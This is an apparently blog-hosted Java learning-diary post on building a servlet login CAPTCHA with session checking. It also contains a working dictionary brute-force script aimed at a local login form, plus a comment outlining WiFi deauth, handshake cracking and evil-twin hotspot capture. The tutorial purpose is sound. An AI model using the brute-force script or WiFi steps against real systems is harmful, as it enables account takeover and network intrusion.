Java学习日记9:登录时验证码的功能以及实现

本文介绍了一种基于Servlet的图形验证码实现方式,包括随机生成字母、数字及干扰元素的过程,并探讨了如何通过session进行验证。此外,还展示了简单的暴力破解方法。

登录图形验证码的实现

验证码的作用:

  • 防止用恶意破解密码
  • 防止刷票
  • 防止论坛灌水

总之就是避免机器可以进行的反复操作。

验证码原理:
由程序随机生成字母、数字或汉字的图片,并将图片上的内容记在session中,让用记看到图片后将图片上的字母、数字或汉字填写在表单项中提交给服务器,服务端程序将用户填写的信息与Session中的信息进行对比,就知道是不是人填写的,关键在于不让能程序自动识辨出图片上的信息,所以一般我们都加干扰线、点,或旋转、缩放等。

图形验证码的实现(Servlet):

package com.servlet;
//随机验证码
import java.awt.Color;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.util.Random;

import javax.imageio.ImageIO;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/randimg")
public class RandImageServlet extends HttpServlet
{

    private static Random rand =new Random();//新建随机对象
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        resp.setContentType("image/jpeg");//返回类型为jpeg
        ServletOutputStream so=resp.getOutputStream();//构建输出流

        int width=120;//宽
        int height=34;//高
        StringBuilder sb=new StringBuilder();//字符串对象
        //在内存中画图
        BufferedImage img=new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR);//图像对象
        Graphics g=img.getGraphics();//画图句柄
        g.setColor(new Color(220,220,220));//设置颜色
        g.fillRect(0, 0, width, height);//颜色的填充,矩形

        //产生点干扰
        for(int i=0;i<60;i++)//60个实心圆
        {
            int x=rand.nextInt(width);//随机x
            int y=rand.nextInt(height);//随机y

            int w=rand.nextInt(width);//随机w
            int h=rand.nextInt(height);//随机h
            g.setColor(new Color(160+rand.nextInt(50),160+rand.nextInt(50),160+rand.nextInt(50)));//随机颜色

           g.fillArc(x, y,6, 6, 0,360);//产生(画)实心圆
        }

        int randnum=20;//设置一个随机数的基数
        //产生
        for(int i=0;i<4;i++)//产生验证码,数字或者是字母
        {
            String temchar=null;
            if(i%2==0)//如果是2的整数倍
            {
                temchar=randChar();//随机字母
            }else
            {
                temchar=String.valueOf(rand.nextInt(10));//随机1~9的数字
            }
            sb.append(temchar);
            //画到界面上
            Color color=new Color(80+rand.nextInt(80),80+rand.nextInt(80),80+rand.nextInt(80));//新建一个颜色对象,随机

            g.setFont(new Font("宋体",Font.BOLD,26));//字体以及大小
            g.setColor(color);//设置字的颜色

            if(i==0)randnum=6;
            else randnum=15;
            g.drawString(temchar, i*30+randnum, 23+rand.nextInt(15));//设置字在验证码中的位置
        }

        //服务器记住,你画的图片上是什么字符,在session中存入一条信息,名字是sessionimg,内容是字符串对象sb对应的字符串
        req.getSession().setAttribute("sessionimg", sb.toString());

        ImageIO.write(img,"jpeg", so);//将图片通过输出流输出到客户端
        so.close();//关闭输出流


    }
    public static String randChar()//产生随机字母的方法
    {
        String re=null;

        char c=(char)(65+rand.nextInt(26));//大写字母A对应的ASCII码是65,一共有26个字母
        re=String.valueOf(c);//将c赋值到re中
        return re;
    }

}

Index页面:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
<center>
   <form action="checkLogin" method="get">
       用户名 :<input type="text" name="uname"/><br/>
       密码:<input type="password" name="upwd"/><br/>
   验证码:<input type="text" name="randchar" size="6"/>
   <!-- 下面这句中的onclick中是一段JavaScript代码,意思是单击就重新发送请求给地址为randimg的Servlet中,
   并且随机传过去一个数字,为的是防止浏览器直接从缓存中读取信息  -->
   <img src="randimg" style="cursor:pointer;" onclick="this.src='randimg?a='+Math.random();"/>
      <br/>
       <input type="submit" value="OK"/>
   </form>
</center>
</body>
</html>

CheckLogin的Servlet:

在CheckLogin的Servlet中加入验证码的session并且与主页传进来的信息进行对比

 String serverchar=(String)req.getSession().getAttribute("sessionimg");//在session中的到服务器传过来的验证码

  //将服务器的验证码和用户输入的验证码全部转为小写,再进行对比,如果正确的话再执行下面的代码
    if(null!=serverchar&&serverchar.toLowerCase().equals(randchar.toLowerCase()))
    {
    ...
    }

下面简单演示一下密码的暴力破解(只用于自己测试用):

package com.pj;
//暴力破解密码,需要密码字典
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.List;

import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;

public class PJ {

    public static void main(String[] args) throws Exception
    {

        InputStream fi=PJ.class.getResourceAsStream("/com/pj/pwd.txt"); //将pwd.txt(密码字典)构建一个输入流。    

        List<String> list=IOUtils.readLines(fi);//从输入流fi中一行一行的读取数据存到list中。
        for(String pwd:list)//迭代list
        {

        //得到登录页面的servlet的url并且用get传参(知道用户名为admin的情况下)
        URL url=new URL("http://localhost/servlet31/checkLogin?uname=admin&upwd="+pwd);
        URLConnection uc=url.openConnection();//打开这个url链接
        InputStream is=uc.getInputStream();//建立链接的输入流,读取页面传过来的数据
        Thread.sleep(1000);//每试一次空闲1秒

        String ret=readUrl2String(is);//读出is(页面)中的数据,并且赋给ret字符串。

        //判断这个字符串(页面)中的特征码(就是登陆不不成功的话,就会返回主页,特征码就是主页有并且登陆成功以后没有的信息。)
        //如果有就代表登陆不成功,密码不正确。
        if(ret.indexOf("密码:")!=-1)
        {
            System.out.print("*>");
        }else
        {
            System.out.println("\n正确密码为:"+pwd);
        }

        }
    }

    //将URL转换为String的方法
    public static String readUrl2String(InputStream is)throws Exception
    {
        BufferedReader br=new BufferedReader(new InputStreamReader(is));//把is读入内存中,读取is中的数据
        StringBuilder sb=new StringBuilder();
        String str=null;
        while(null!=(str=br.readLine()))
        {
            sb.append(str);
        }
        return sb.toString();


    }

}


/**
 * wifi破解密码的基本原理:
 * 向路由器发送很多垃圾信息,将已经在线的设备挤下线,然后该设备会进行重连,
 * 就可以截取到这个设备发给路由器的信息,不过这个信息是加密的,这时候就可以离线进行暴力破解。
 * 就是一个一个加密,然后与截取到的信息进行对比,对比成功之后就破解成功。
 * 
 * 网上搜索:奶瓶破解
 * 
 * 
 * 还有一种取证手段:蜜罐技术
 * 可以自己设置一个热点,名字和目标设备连接过的WiFi名字一样,该设备就会自动连接,就会发过来信息,
 * 这时候我们就只接受信息存储下来,并且不回任何信息,可以得到许多信息。
 * 当然这只是很浅显的一种,具体的可以百度搜索。
 * 
 * 
 * 
 */

今天就到这里啦~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值